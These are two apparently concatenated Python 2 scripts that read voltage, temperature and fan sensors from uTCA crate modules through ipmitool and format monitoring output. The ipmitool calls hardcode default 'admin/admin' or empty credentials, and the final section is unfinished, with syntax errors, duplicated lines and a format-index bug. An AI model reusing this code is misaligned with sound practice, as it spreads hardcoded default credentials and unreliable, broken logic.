print "Unknown MCH flavor, check code and MCH class"
#==============
# End MCH class
#==============
#================
# Start CU class
#================
class CU:
'''Cooling Unit object'''
def __init__(self, CUIndex):
self.hostname = HOSTNAME
self.CUIndex = CUIndex
self.entity = "30.{0}".format(96 + CUIndex)
if self.CUIndex == 1:
self.target = "0xa8"
else:
self.target = "0xaa"
#Initializing empty variables
self.flavor = None
self.CU3V3 = None
self.CU12V = None
self.CU12V_1 = None
self.LM75Temp = None
self.LM75Temp2 = None
self.fan1 = None
self.fan2 = None
self.fan3 = None
self.fan4 = None
self.fan5 = None
self.fan6 = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def checkFlavor(self, flavor):
self._proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self._data, self._err) = self._proc.communicate()
self._data = self._data.split('\n')
if flavor in self._data[0]:
self.flavor = flavor
return True
else:
return False
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' -T 0x82 -b 7 -t {1} -B 0 sdr".format(self.hostname, self.target)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=====================================================#
# This block is for Schroff uTCA CU type Cooling Unit #
#=====================================================#
if self.checkFlavor("Schroff uTCA CU"):
for item in self.data:
if "+3.3V" in item:
self.CU3V3 = item.strip().split(" ")[13]
elif "+12V " in item:
self.CU12V = item.strip().split(" ")[14]
elif "+12V_1" in item:
self.CU12V_1 = item.strip().split(" ")[12]
elif "LM75 Temp " in item:
self.LM75Temp = item.strip().split(" ")[10]
elif "LM75 Temp2" in item:
self.LM75Temp2 = item.strip().split(" ")[9]
elif "Fan 1" in item:
self.fan1 = item.strip().split(" ")[14]
elif "Fan 2" in item:
self.fan2 = item.strip().split(" ")[14]
elif "Fan 3" in item:
self.fan3 = item.strip().split(" ")[14]
elif "Fan 4" in item:
self.fan4 = item.strip().split(" ")[14]
elif "Fan 5" in item:
self.fan5 = item.strip().split(" ")[14]
elif "Fan 6" in item:
self.fan6 = item.strip().split(" ")[14]
#=====================================================#
# END Schroff uTCA CU type Cooling Unit block #
#=====================================================#
return [self.CU3V3, self.CU12V, self.CU12V_1, self.LM75Temp, self.LM75Temp2, self.fan1, self.fan2, self.fan3, self.fan4, self.fan5, self.fan6]
def printSensorValues(self):
#self.getData()
if self.flavor == "Schroff uTCA CU":
print ''
print "==============================="
print " Sensor Values for CU{0} ".format(self.CUIndex)
print "==============================="
print ''
print "+3.3V:", self.CU3V3, "V"
print "+12V:", self.CU12V, "V"
print "+12V_1:", self.CU12V_1, "V"
print "LM75 Temp:", self.LM75Temp, "degC"
print "LM75 Temp2:", self.LM75Temp2, "degC"
print "Fan 1:", self.fan1, "rpm"
print "Fan 2:", self.fan2, "rpm"
print "Fan 3:", self.fan3, "rpm"
print "Fan 4:", self.fan4, "rpm"
print "Fan 5:", self.fan5, "rpm"
print "Fan 6:", self.fan6, "rpm"
print ""
else:
print "Unkown CU type, check code and CU class"
#=============
# END CU class
#=============
#################
# Start AMC13 class
#################
class AMC13:
'''AMC13 object'''
def __init__(self):
self.hostname = HOSTNAME
#Initializing empty variables
self.flavor = None
self.T2Temp = None
self.volt12V = None
self.volt3V3 = None
self.volt1V2 = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity 193.122".format(self.hostname)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=====================================================#
# This block is for BU AMC13 type amc13 #
#=====================================================#
if "BU AMC13" in self.data[0]:
self.flavor = "BU AMC13"
for item in self.data:
if "T2 Temp" in item:
self.T2Temp = item.strip().split(" ")[19]
elif "+12V" in item:
self.volt12V = item.strip().split(" ")[21]
elif "+3.3V" in item:
self.volt3V3 = item.strip().split(" ")[20]
elif "+1.2V" in item:
self.volt1V2 = item.strip().split(" ")[20]
#=====================================================#
# END BU AMC13 type block #
#=====================================================#
return [self.T2Temp, self.volt12V, self.volt3V3, self.volt1V2]
def printSensorValues(self):
#self.getData()
if self.flavor == "BU AMC13":
print ''
print "==============================="
print " Sensor Values for AMC13 "
print "==============================="
print ''
print "T2Temp:", self.T2Temp, "degC"
print "+12V:", self.volt12V, "V"
print "+3.3V:", self.volt3V3, "V"
print "+1.2V:", self.volt1V2, "V"
print ''
else:
print "Unkown AMC13 type, check code and AMC13 class"
#def getPMData(slot):
# class PM:
# def __init__(self, PMIndex):
# self.PMIndex = PMIndex
# self.entity = "10.{0}".format(str(96 + self.PMIndex))
# self.tempA = None
# self.tempB = None
# self.tempBase = None
# self.VIN = None
# self.VOutA = None
# self.VOutB = None
# self.volt12 = None
# self.volt3V3 = None
# self.current = None
# self.getData()
#
# def getData(self):
# proc = subprocess.Popen(("ipmitool -H mch-e1a04-18 -U '' -P '' sdr entity {0}".format(self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
# (self.data, self.err) = proc.communicate()
# if self.err != '':
# #if not "Get HPM.x Capabilities request failed, compcode = c9" in err: #
# if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
# print self.err
# return -1
# self.data = self.data.split('\n')
# if "NAT-PM-DC840" in self.data[0]:
# print "hello!"
#
# PM1 = PM(1)
# PM2 = PM(2)
# PM3 = PM(3)
# PM4 = PM(4)
#
# if slot == 1:
# PM = "0xc2"
# elif slot == 2:
# PM = "0xc4"
# elif slot == 3:
# PM = "0xc6"
# elif slot == 4:
# PM = "0xc8"
# else:
# print "Please insert a valid slot (1-4)"
# return -1
# proc = subprocess.Popen(("ipmitool -H mch-e1a04-18 -U '' -P '' -T 0x82 -b 7 -B 0 -t {0} sdr".format(PM)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
# (data, err) = proc.communicate()
# if err != '':
# #if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
# if err != "Get HPM.x Capabilities request failed, compcode = c9\n":
# print err
# return -1
# data = data.split('\n')
# return data
def getCUData(CU_index):
if CU_index == 1:
CU = "0xa8"
elif CU_index == 2:
CU = "0xaa"
else:
print "Please insert a valid index (1 or 2)"
return -1
proc = subprocess.Popen(("ipmitool -H mch-e1a04-18 -U '' -P '' -T 0x82 -b 7 -B 0 -t {0} sdr".format(CU)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(data, err) = proc.communicate()
if err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print err
return -1
data = data.split('\n')
return data
def getAMC13Data():
proc = subprocess.Popen(("ipmitool -H mch-e1a04-18 -U admin -P admin sdr entity 193.122").split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(data, err) = proc.communicate()
if err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print err
return -1
data = data.split('\n')
return data
if __name__ == "__main__":
PM1 = PM(1)
PM2 = PM(2)
PM1.printSensorValues()
PM2.printSensorValues()
MCH = MCH()
MCH.printSensorValues()
CU1 = CU(1)
CU2 = CU(2)
CU1.printSensorValues()
CU2.printSensorValues()
amc13 = AMC13()
amc13.printSensorValues()
#For PMs
PMVoltages = []
PMTemperatures = []
PMCurrents = []
#For CUs
CUVoltages = []
CUTemperatures = []
fanSpeeds = []
#for AMC13
#T2Temp = []
#amc1312V = []
#amc133V3 = []
#amc131V2 = []
for i in [1, 2]:
#for PMs
#empA = None
#empB = None
#empBase = None
#IN = None
#OutA = None
#OutB = None
#urrent = None
#olt12 = None
#volt3V3 = None
#data = getPMData(i)
#if data == -1:
# print "Error or whatever"
#else:
# for item in data:
# #Temperatures
# if "TBrick-A" in item:
# tempA = item.strip().split(" ")[10]
# elif "TBrick-B" in item:
# tempB = item.strip().split(" ")[10]
# elif "T-Base" in item:
# tempBase = item.strip().split(" ")[12]
# #Input Voltage
# elif "VIN" in item:
# VIN = item.strip().split(" ")[15]
# #Output Voltage
# elif "VOUT-A" in item:
# VOutA = item.strip().split(" ")[12]
# #print VOutA
# elif "VOUT-B" in item:
# VOutB = item.strip().split(" ")[12]
# #print VOutB
# #12V
# elif "12V" in item:
# volt12 = item.strip().split(" ")[15]
# #print volt12
# #3.3V
# elif "3.3V" in item:
# volt3V3 = item.strip().split(" ")[14]
## #print volt3V3
# #Total utput current
# elif "Current(SUM)" in item:
# current = item.strip().split(" ")[6]
# #print current
#print tempA
#print tempB
#print tempBase
#PMTemperatures.append(tempA)
#PMTemperatures.append(tempB)
#PMTemperatures.append(tempBase)
#PMVoltages.append(VIN)
#PMVoltages.append(VOutA)
#PMVoltages.append(VOutB)
##MVoltages.append(volt12)
#PMVoltages.append(volt3V3)
#PMCurrents.append(current)
#For CUs
CU3V3 = None
CU12V = None
CU12V_1 = None
LM75Temp = None
LM75Temp2 = None
fan1 = None
fan2 = None
fan3 = None
fan4 = None
fan5 = None
fan6 = None
#dataCU = getCUData(i)
#if dataCU == -1:
# print "CU error"
#else:
# for item in dataCU:
# if "+3.3V" in item:
# CU3V3 = item.strip().split(" ")[13]
# elif "+12V " in item:
# CU12V = item.strip().split(" ")[14]
# elif "+12V_1" in item:
# CU12V_1 = item.strip().split(" ")[12]
# elif "LM75 Temp " in item:
## LM75Temp = item.strip().split(" ")[10]
# elif "LM75 Temp2" in item:
# LM75Temp2 = item.strip().split(" ")[9]
## elif "Fan 1" in item:
# fan1 = item.strip().split(" ")[14]
# elif "Fan 2" in item:
# fan2 = item.strip().split(" ")[14]
# elif "Fan 3" in item:
# fan3 = item.strip().split(" ")[14]
# elif "Fan 4" in item:
# fan4 = item.strip().split(" ")[14]
# elif "Fan 5" in item:
# fan5 = item.strip().split(" ")[14]
# elif "Fan 6" in item:
# fan6 = item.strip().split(" ")[14]
#CUVoltages.append(CU3V3)
#CUVoltages.append(CU12V)
#CUVoltages.append(CU12V_1)
#CUTemperatures.append(LM75Temp)
#CUTemperatures.append(LM75Temp2)
#fanSpeeds.append(fan1)
#fanSpeeds.append(fan2)
#fanSpeeds.append(fan3)
#fanSpeeds.append(fan4)
#fanSpeeds.append(fan5)
#fanSpeeds.append(fan6)
#for AMC13
amc13data = getAMC13Data()
if amc13data == -1:
print "amc13 error"
else:
for item in amc13data:
if "T2 Temp" in item:
T2Temp = item.strip().split(" ")[19]
elif "+12V" in item:
amc13_12V = item.strip().split(" ")[21]
elif "+3.3V" in item:
amc13_3V3 = item.strip().split(" ")[20]
elif "+1.2V" in item:
amc13_1V2 = item.strip().split(" ")[20]
def printData():
print ''
print "Data:"
print ''
print "MCH: [tempCPU, tempIO, volt1V2, volt1V8, volt2V5, volt3V3, volt12V, current]"
print getMCHData(HOST)
print ''
print "PMTemperatures: [PM1 tbrick-a, PM1 tbrick-b, PM1 t-base, PM2 trick-a, PM2 tbrick-b, PM2, t-base]"
print " ", PMTemperatures
print "PMVoltages: [PM1 VIN, PM1 VOutA, PM1 VOutB, PM1 12V, PM1 3.3V, PM2 VIN, PM2 VOutA, PM2 VOutB, PM2 12V, PM2 3.3V]"
print " ", PMVoltages
print "PMCurrents: [PM1 Current(sum), PM2 current(sum)]"
print " ", PMCurrents
print ''
print "CUVoltages: [CU1 3.3V, CU1 12V, CU1 12V_1, CU2 3.3V, CU2 12V, CU2 12V_1]"
print " ", CUVoltages
print "CUTemperatures: [CU1 LM75Temp, CU1 LM75Temp2, CU2 LM75Temp, CU2 LM75Temp2]"
print " ", CUTemperatures
print "fanSpeeds: [CU1 fan1, CU1 fan2, CU1 fan3, CU1 fan4, CU1 fan5, CU1 fan6, CU2 fan1, CU2 fan2, CU3 fan3, C21 fan4, CU2 fan5, CU2 fan6]"
print " ", fanSpeeds
print ''
print "AMC13: [T2Temp, 12V, 3.3V, 1.2V]"
print " ", [T2Temp, amc13_12V, amc13_3V3, amc13_1V2]
print ''
#printData()
#if everything is fine
sys.exit(0)
<file_sep>#!/usr/bin/env python
#==================================================
# Author: <NAME>
# <EMAIL> / <EMAIL>
# Call script with the crate address of the crate you
# want to monitor, or hardcode the mch address into
# the variable HOSTNAME below
#==================================================
import subprocess
import sys
import os
#======================================
#Defining which crate we're working with
if len(sys.argv) > 1:
HOSTNAME = sys.argv[1]
# HOSTNAME = "mch-" + sys.argv[1]
else:
HOSTNAME = "mch-s1g04-18-01" # Insert hostname of mch here
crate = str.upper(str.split(HOSTNAME, '-')[1] + '-' + str.split(HOSTNAME, '-')[2]) # Gives the crate name, e.g. e1a04-18
rack = str.upper(str.split(HOSTNAME, '-')[1])
print rack
# =============================================================
# This will be used at the end of the script to determine
# how the script exits. If a class experiences an error it will
# update this variable.
class EXITCODE:
"""Quick class to let the classes update the exit code
0 - OK, 1 - Warning, 2 Critical, 3 Unkown"""
def __init__(self):
self.code = 0 # When everything is OK
self.msg = "OK"
def getCode(self):
return self.code
def setCode(self, newExitCode, string="Something happened"):
# Will only update exit code if the new exit code is more serious than the previous
if newExitCode > self.code:
self.code = newExitCode
self.msg = (string.replace('\n', '. ')).replace('!. ', '!')
def setMsg(self, string):
self.msg = string
def getMsg(self):
return self.msg
# =============================================================
#=====================================
#Defining every board as a class, hence treating each card as an object with sensor data
#===============
# Start PM Class
#===============
class PM:
"""Power module object"""
def __init__(self, PMIndex):
self.PMIndex = PMIndex # PM index in crate
self.entity = "10.{0}".format(str(96 + self.PMIndex)) # converting PM index to ipmi entity
self.hostname = HOSTNAME # Global variable
# Initializing empty variables
self.tempA = None # Temperature of brick-A
self.tempB = None # Temperature of brick-B
self.tempBase = None # Base temperature
self.VIN = None # Input voltage
self.VOutA = None # Output voltage A
self.VOutB = None # Output voltage B
self.volt12V = None # 12V
self.volt3V3 = None # 3.3V
self.currentSum = None # total current
self.flavor = None # PM type
# Get data upon instantiation
self.output = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n": # This error can safely be ignored
# print self.err
EXITCODE.setCode(2, self.err) # sys.exit(EXITCODE) will use this at the end
if self.data == '':
EXITCODE.setCode(1, "No data received from one or more crate objects") # sys.exit(EXITCODE) will use this at the end
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-PM-DC840 type PMs #
#=========================================#
if "NAT-PM-DC840" in self.data[0]:
self.flavor = "NAT-PM-DC840"
for item in self.data:
if "TBrick-A" in item:
self.tempA = item.strip().split(" ")[17]
elif "TBrick-B" in item:
self.tempB = item.strip().split(" ")[17]
elif "T-Base" in item:
self.tempBase = item.strip().split(" ")[19]
elif "VIN" in item:
self.VIN = item.strip().split(" ")[22]
elif "VOUT-A" in item:
self.VOutA = item.strip().split(" ")[19]
elif "VOUT-B" in item:
self.VOutB = item.strip().split(" ")[19]
elif "12V" in item:
self.volt12V = item.strip().split(" ")[22]
elif "3.3V" in item:
self.volt3V3 = item.strip().split(" ")[21]
elif "Current(SUM)" in item:
self.currentSum = item.strip().split(" ")[13]
#==========================================#
# End NAT-PM-DC840 block #
#==========================================#
return "PM{0}_temperature-A={1};;;; PM{0}_temperatureB={2};;;; PM{0}_temperature-base={3};;;; \
PM{0}_inputVoltage={4};;;; PM{0}_outputVoltageA={5};;;; PM{0}_outputVoltageB={6};;;; PM{0}_12V={7};;;; \
PM{0}_3.3V={8};;;; PM{0}_totalCurrent={9};;;;"\
.format(self.PMIndex, self.tempA, self.tempB, self.tempBase, self.VIN, self.VOutA, self.VOutB, self.volt12V, self.volt3V3, self.currentSum)
def printSensorValues(self):
# if self.flavor == "NAT-PM-DC840":
print ''
print "==============================="
print " Sensor Values for PM{0} ".format(self.PMIndex)
print "==============================="
print ''
print "TBrick-A:", self.tempA, "degC"
print "TBrick-B:", self.tempB, "degC"
print "T-Base:", self.tempBase, "degC"
print "Input Voltage:", self.VIN, "V"
print "Ouput Voltage A:", self.VOutA, "V"
print "Output Voltage B:", self.VOutB, "V"
print "12V:", self.volt12V, "V"
print "3.3V:", self.volt3V3, "V"
print "Total Current:", self.currentSum, "A"
print ""
# else:
# print "Unknown PM flavor. Check code and PM class"
#=============
# End PM class
#=============
#================
# Start MCH class
#================
class MCH:
"""MCH object"""
def __init__(self, MCHIndex = 1):
self.MCHIndex = MCHIndex # Some crates have multiple locations for MCHs
self.entity = "194.{0}".format(str(96 + self.MCHIndex)) # converting MCH index to ipmi entity
self.hostname = HOSTNAME # Global variable
# Initializing empty variables
self.flavor = None # MCH type
self.tempCPU = None # CPU temperature
self.tempIO = None # I/O temperature
self.volt1V2 = None # 1.2V
self.volt1V5 = None # 1.5V
self.volt1V8 = None # 1.8V
self.volt2V5 = None # 2.5V
self.volt3V3 = None # 3.3V
self.volt12V = None # 12V
self.current = None # base current
# Get data upon instantiation
self.output = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can safely be ignored
# print self.err
EXITCODE.setCode(2, self.err)
if self.data == '':
EXITCODE.setCode(1, "No data received from one or more objects in the crate")
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-MCH-MCMC type MCH #
#=========================================#
if "NAT-MCH-MCMC" in self.data[0]:
self.flavor = "NAT-MCH-MCMC"
for item in self.data:
if "Temp CPU" in item:
self.tempCPU = item.strip().split(" ")[18]
elif "Temp I/O" in item:
self.tempIO = item.strip().split(" ")[18]
elif "Base 1.2V" in item:
self.volt1V2 = item.strip().split(" ")[17]
elif "Base 1.5V" in item:
self.volt1V5 = item.strip().split(" ")[17]
elif "Base 1.8V" in item:
self.volt1V8 = item.strip().split(" ")[17]
elif "Base 2.5V" in item:
self.volt2V5 = item.strip().split(" ")[17]
elif "Base 3.3V" in item:
self.volt3V3 = item.strip().split(" ")[17]
elif "Base 12V" in item:
self.volt12V = item.strip().split(" ")[18]
elif "Base Current" in item:
self.current = item.strip().split(" ")[14]
#==========================================#
# End NAT-MCH-MCMC block #
#==========================================#
# return [self.tempCPU, self.tempIO, self.volt1V2, self.volt1V8, self.volt2V5, self.volt3V3, self.volt12V, self.current]
return "MCH{0}_CPUTemperature={1};;;; MCH{0}_IOTemperature={2};;;; MCH{0}_1.2V={3};;;; \
MCH{0}_1.5V={4};;;; MCH{0}_1.8V={5};;;; MCH{0}_2.5V={6};;;; MCH{0}_3.3V={7};;;; \
MCH{0}_12V={8};;;; MCH{0}_baseCurrent={9};;;;"\
.format(self.MCHIndex, self.tempCPU, self.tempIO, self.volt1V2, self.volt1V5, self.volt1V8, self.volt2V5, self.volt3V3, self.volt12V, self.current)
def printSensorValues(self):
if self.flavor == "NAT-MCH-MCMC":
print ''
print "==============================="
print " Sensor Values for MCH{0} ".format(self.MCHIndex)
print "==============================="
print ''
print "Temp CPU:", self.tempCPU, "degC"
print "Temp I/O:", self.tempIO, "degC"
print "Base 1.2V:", self.volt1V2, "V"
print "Base 1.5V:", self.volt1V5, "V"
print "Base 1.8V:", self.volt1V8, "V"
print "Base 2.5V:", self.volt2V5, "V"
print "Base 3.3V:", self.volt3V3, "V"
print "Base 12V:", self.volt12V, "V"
print "Base Current:", self.current, "A"
print ""
# else:
# print "Unknown MCH flavor, check code and MCH class"
#==============
# End MCH class
#==============
#================
# Start CU class
#================
class CU:
'''Cooling Unit object'''
def __init__(self, CUIndex):
self.hostname = HOSTNAME # global variable
self.CUIndex = CUIndex # CU index
self.entity = "30.{0}".format(96 + CUIndex) # converting index to entity number
if self.CUIndex == 1:
self.target = "0xa8" # converting index to target ID
else:
self.target = "0xaa" # converting index to target ID
# Initializing empty variables
self.flavor = None # CU type
self.CU3V3 = None # 3.3V
self.CU12V = None # 12V
self.CU12V_1 = None # 12V_1
self.LM75Temp = None # temperature
self.LM75Temp2 = None # temperature 2
self.fan1 = None # fan speed
self.fan2 = None # fan speed
self.fan3 = None # fan speed
self.fan4 = None # fan speed
self.fan5 = None # fan speed
self.fan6 = None # fan speed
# Get data upon instantiation
self.output = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def checkFlavor(self, flavor):
self._proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self._data, self._err) = self._proc.communicate()
if self._err != '':
if self._err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can be ingored
# print self._err
EXITCODE.setCode(2, self._err)
self._data = self._data.split('\n')
if flavor in self._data[0]:
self.flavor = flavor
return True
else:
return False
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' -T 0x82 -b 7 -t {1} -B 0 sdr".format(self.hostname, self.target)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can be ingored
# print self.err
EXITCODE.setCode(2, self.err)
if self.data == '':
EXITCODE.setCode(1, "No data received from one or more objects in the crate")
self.data = self.data.split('\n')
#=====================================================#
# This block is for Schroff uTCA CU type Cooling Unit #
#=====================================================#
if self.checkFlavor("Schroff uTCA CU"):
for item in self.data:
if "+3.3V" in item:
self.CU3V3 = item.strip().split(" ")[13]
elif "+12V " in item:
self.CU12V = item.strip().split(" ")[14]
elif "+12V_1" in item:
self.CU12V_1 = item.strip().split(" ")[12]
elif "LM75 Temp " in item:
self.LM75Temp = item.strip().split(" ")[10]
elif "LM75 Temp2" in item:
self.LM75Temp2 = item.strip().split(" ")[9]
elif "Fan 1" in item:
self.fan1 = item.strip().split(" ")[14]
elif "Fan 2" in item:
self.fan2 = item.strip().split(" ")[14]
elif "Fan 3" in item:
self.fan3 = item.strip().split(" ")[14]
elif "Fan 4" in item:
self.fan4 = item.strip().split(" ")[14]
elif "Fan 5" in item:
self.fan5 = item.strip().split(" ")[14]
elif "Fan 6" in item:
self.fan6 = item.strip().split(" ")[14]
#=====================================================#
# END Schroff uTCA CU type Cooling Unit block #
#=====================================================#
# return [self.CU3V3, self.CU12V, self.CU12V_1, self.LM75Temp, self.LM75Temp2, self.fan1, self.fan2, self.fan3, self.fan4, self.fan5, self.fan6]
return "CU{0}_temperature1={1};;;; CU{0}_temperature2={2};;;; CU{0}_3.3V={3};;;; \
CU{0}_12V={4};;;; CU{0}_12V_1={5};;;; CU{0}_fan1={6};;;; CU{0}_fan2={7};;;; \
CU{0}_fan3={8};;;; CU{0}_fan4={9};;;; CU{0}_fan5={10};;;; CU{0}_fan6={10};;;;"\
.format(self.CUIndex, self.LM75Temp, self.LM75Temp2, self.CU3V3, self.CU12V, self.CU12V_1, self.fan1, self.fan2, self.fan3, self.fan4, self.fan5, self.fan6)
def printSensorValues(self):
if self.flavor == "Schroff uTCA CU":
print ''
print "==============================="
print " Sensor Values for CU{0} ".format(self.CUIndex)
print "==============================="
print ''
print "+3.3V:", self.CU3V3, "V"
print "+12V:", self.CU12V, "V"
print "+12V_1:", self.CU12V_1, "V"
print "LM75 Temp:", self.LM75Temp, "degC"
print "LM75 Temp2:", self.LM75Temp2, "degC"
print "Fan 1:", self.fan1, "rpm"
print "Fan 2:", self.fan2, "rpm"
print "Fan 3:", self.fan3, "rpm"
print "Fan 4:", self.fan4, "rpm"
print "Fan 5:", self.fan5, "rpm"
print "Fan 6:", self.fan6, "rpm"
print ""
# else:
# print "Unkown CU type, check code and CU class"
#=============
# END CU class
#=============
#################
# Start AMC13 class
#################
class AMC13:
'''AMC13 object'''
def __init__(self):
self.hostname = HOSTNAME # global variable
# Initializing empty variables
self.flavor = None # amc13 type
self.T2Temp = None # T2 temperature
self.volt12V = None # 12V
self.volt3V3 = None # 3.3V
self.volt1V2 = None # 1.2V
# Get data upon instantiation
self.output = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity 193.122".format(self.hostname)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can be ignored
# print self.err
EXITCODE.setCode(2, self.err)
if self.data == '':
EXITCODE.setCode(1, "No data received from one or more objects in the crate")
self.data = self.data.split('\n')
#=====================================================#
# This block is for BU AMC13 type amc13 #
#=====================================================#
if "BU AMC13" in self.data[0]:
self.flavor = "BU AMC13"
for item in self.data:
if "T2 Temp" in item:
self.T2Temp = item.strip().split(" ")[19]
elif "+12V" in item:
self.volt12V = item.strip().split(" ")[21]
elif "+3.3V" in item:
self.volt3V3 = item.strip().split(" ")[20]
elif "+1.2V" in item:
self.volt1V2 = item.strip().split(" ")[20]
#=====================================================#
# END BU AMC13 type block #
#=====================================================#
# return [self.T2Temp, self.volt12V, self.volt3V3, self.volt1V2]
return "AMC13_temperature={0};;;; AMC13_1.2V={1};;;; AMC13_3.3V={2};;;; AMC13_12V={3};;;;"\
.format(self.T2Temp, self.volt1V2, self.volt3V3, self.volt12V)
def printSensorValues(self):
if self.flavor == "BU AMC13":
print ''
print "==============================="
print " Sensor Values for AMC13 "
print "==============================="
print ''
print "T2Temp:", self.T2Temp, "degC"
print "+12V:", self.volt12V, "V"
print "+3.3V:", self.volt3V3, "V"
print "+1.2V:", self.volt1V2, "V"
print ''
# else:
# print "Unkown AMC13 type, check code and AMC13 class"
###################
# END AMC13 class
##################
#================
# Start FC7 class
#================
class FC7:
'''FC7 object'''
def __init__(self, FC7Index):
self.hostname = HOSTNAME # global variable
self.FC7Index = FC7Index # amc index / slot number in crate
self.entity = "193.{0}".format(96 + FC7Index) # index to entity id
# Initializing empty variables
self.flavor = None # FC7 type
self.humidity = None # humidity
self.temperature = None # temperature
self.volt3V3 = None # 3.3V
self.current3V3 = None # 3.3V current
self.volt5V = None # 5V
self.current5V = None # 5V current
self.l12_VADJ = None # l12 ADJ voltage
self.l12_IADJ = None # l12 ADJ curent
self.volt2V5 = None # 2.5V
self.current2V5 = None # 2.5V current
self.volt1V8 = None # 1.8V
self.current1V8 = None # 1.8V current
self.voltMP3V3 = None # MP 3.3V
self.currentMP3V3 = None # MP 3.3V current
self.volt12V = None # 12V
self.current12V = None # 12V current
self.volt1V5 = None # 1.5V
self.current1V5 = None # 1.5V current
self.volt1V = None # 1V
self.current1V = None # 1V current
self.volt1V8_GTX = None # gtx 1.8V
self.current1V8_GTX = None # gtx 1.8V current
self.volt1V_GTX = None # gtx 1V
self.current1V_GTX = None # gtx 1V current
self.volt1V2_GTX = None # gtx 1.2V
self.current1V2_GTX = None # gtx 1.2V current
self.l8_VADJ = None # l8 ADJ voltage
self.l8_IADJ = None # l8 ADJ current
# Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def checkFlavor(self, flavor):
self._proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self._data, self._err) = self._proc.communicate()
if self._err != '':
if self._err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can be ingored
# print self._err
EXITCODE.setCode(2, self._err)
self._data = self._data.split('\n')
if flavor in self._data[0]:
self.flavor = flavor
return True
else:
return False
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n": # this error can be ignored
print self.err
EXITCODE.setCode(2, self.err)
if self.data == '':
EXITCODE.setCode(1, "No data received from one or more objects in the crate")
self.data = self.data.split('\n')
if "ICL-CERN FC7" in self.data[0]:
# =======================================
# This block is for the ICL-CERN FC7 type
# ======================================
print "ICL-CERN FC7 not available"
return 0
elif "FC7-R2" in self.data[0]:
# =======================================
# This is for the FC7-R2 MMC
# =======================================
return 0
def printSensorValues(self):
print "This function is not yet completed"
if __name__ == "__main__":
EXITCODE = EXITCODE() # For proper exit codes
# Instantiate the objects in the crate
# =========================================
# Basic uTCA crate / Common for every crate
# =========================================
PM1 = PM(1)
PM4 = PM(4)
CU1 = CU(1)
CU2 = CU(2)
MCH = MCH()
amc13 = AMC13()
# =========================================
# FC7s and crate specifics
# ======amc1 = FC7(1)===================================
if rack = "S1G01" : #BPIX
if crate = "S1G01-18": # tracker fec crate
amc1 = FC7(1)
amc1 = FC7(1)
amc1 = FC7(1)
# =========================================
# Format output
# =========================================
